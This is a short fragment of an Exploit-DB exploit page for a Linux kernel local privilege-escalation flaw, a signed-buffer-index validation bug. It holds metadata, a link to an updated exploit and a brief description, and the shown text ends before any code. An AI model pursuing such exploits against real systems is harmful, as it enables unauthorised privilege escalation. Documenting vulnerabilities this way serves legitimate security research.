EDB-ID:

25287




Platform:

Linux

Date:

/*
EDB Note: Update can be found here ~ https://www.exploit-db.com/exploits/926/

A local signed-buffer-index vulnerability affects the Linux kernel because it fails to securely handle signed values when validating memory indexes.

A local attacker may leverage this issue to gain escalated privileges on an affected computer.
